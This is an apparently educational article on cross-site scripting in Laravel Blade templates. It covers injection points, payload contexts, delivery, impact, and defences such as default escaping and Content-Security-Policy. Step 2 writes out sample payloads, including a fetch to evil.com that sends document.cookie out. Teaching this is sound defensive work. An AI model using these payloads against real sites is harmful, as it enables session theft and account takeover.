What Is Cross-Site Scripting (XSS)?

XSS injects executable JavaScript into a web page that other users view, running attacker code in victim browsers at the full privilege level of the legitimate site.

Step 1: Finding an injection point — The attacker looks for inputs that appear in HTML output. They search Blade templates for {!! !!} usage (unescaped output), check API responses that render in a JavaScript SPA, and look for PHP variables interpolated directly into <script> blocks. Comment sections, user profile bios, search result headings, and product descriptions are common injection points.

Step 2: Context identification — The execution context determines the payload format. In an HTML context (<div>{!! $name !!}</div>), the payload uses tags: <script>alert(1)</script> or <img src=x onerror=alert(1)>. In an attribute context (<input value="{!! $val !!}">), the payload breaks out of the attribute: " onmouseover="alert(1). In a JavaScript context (var name = '{{ $name }}';), the payload breaks out of the string literal: '; fetch('https://evil.com?c='+document.cookie)//.

Step 3: Payload delivery — For reflected XSS, the attacker crafts a URL containing the payload and sends it to the victim via phishing email or social media. When the victim clicks the link, their browser requests the page, the server reflects the payload in the response, and the browser executes it. For stored XSS, the attacker submits the payload as legitimate input (a comment, bio, or message) that is saved to the database and rendered when other users view the content.

Step 4: Script execution — The browser encounters the injected script in the HTML response and executes it at the security origin of the target site. The script now has access to everything on that origin: document.cookie (session tokens), localStorage, sessionStorage, the full DOM (including forms and their values), and the ability to make authenticated fetch requests to the server.

Step 5: Impact — Common XSS payloads exfiltrate session cookies to steal the victim's login session, replace the login form's action attribute to capture credentials as they are typed, redirect the user to a phishing page, or silently perform actions on the server using the victim's authenticated session.

XSS vulnerabilities allow attackers to run arbitrary JavaScript in your users' browsers. The consequences range from session cookie theft (complete account takeover) to form replacement (stealing credentials as users type them) to silent redirection to phishing sites. Modern XSS attacks are sophisticated and hard to detect by affected users.

Laravel's Blade templating engine escapes output by default with the {{ }} syntax, which prevents the vast majority of XSS attacks. The danger is that developers learn to reach for {!! !!} for legitimate use cases (rendering HTML from a WYSIWYG editor, for example) and then accidentally use it in unsafe contexts. A single {!! $user->bio !!} in a profile template is enough to compromise every user who views that profile.

Stored XSS — where the malicious script is saved in the database and executed when other users view the content — is the most dangerous variant. An attacker who can store XSS in a comment, profile bio, or product description can attack every user who views that content, potentially including administrators.

The Content-Security-Policy header provides a second line of defense. With a properly configured CSP that blocks inline scripts and only allows scripts from trusted sources, even a successful XSS injection may fail to execute because the browser refuses to run the injected code.